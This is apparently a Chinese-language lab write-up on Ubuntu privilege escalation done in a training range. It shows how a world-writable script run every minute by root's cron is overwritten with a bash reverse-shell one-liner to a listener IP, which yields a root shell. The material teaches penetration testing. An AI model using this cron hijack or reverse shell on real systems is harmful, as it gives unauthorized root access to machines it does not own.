Ubuntu计划任务反弹shell提权:
文中通过查看计划任务,修改计划任务的执行脚本,从而反弹root权限的shell,实现提权效果。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
原理:
ubuntu计划任务反弹shell,主要通过查看是否有高权限账号在定时执行某个脚本任务,如果有,那么可利用命令查看具体路径;
那么我们就可以重新通过这个脚本编写自己的反弹shell,从而达到获取root权限。
图中可以看出/var/spool/cron/crontabs/root 这个目录是root任务文件,默认必须是root权限才能进行查看,否则无法查看:
这里我们可以看出如果不是root用户是没有权限进行查看这个文件的。
这个文件主要是root用户一个定时计划任务:
这里表示每一分钟会执行一次,所以当我们如果可以对这个文件内容进行修改,写一个反弹shell进行此文件;
那么我们就可以获取一个root权限。
可以看出任何用户对这个文件都有写入的权限:
漏洞复现:
我们webshell获取的权限,并不能使用命令来进行查看计划任务。
tail -f /var/log/syslog
通过使用ssh密钥方法成功登陆获取web1用户,发现web1可以使用命令查看计划任务。
从这个上面我们可以看出root用户,每一分钟都在执行一个py文件。
那我们就将这个文件修改成bash反弹的代码,让他去执行,从而获得root权限。
这里先将这个文件进行备份,然后获取权限后,再将这个文件还原。
cp /script/cleanup.py /tmp/cleanup.py.bak
bash -i >& /dev/tcp/192.168.45.135/6666 0>&1
当这个计划任务再执行的时候,我们就会成功反弹一个root权限的shell。
还原计划任务py文件:
cp /tmp/cleanup.py.bak /script/cleanup.py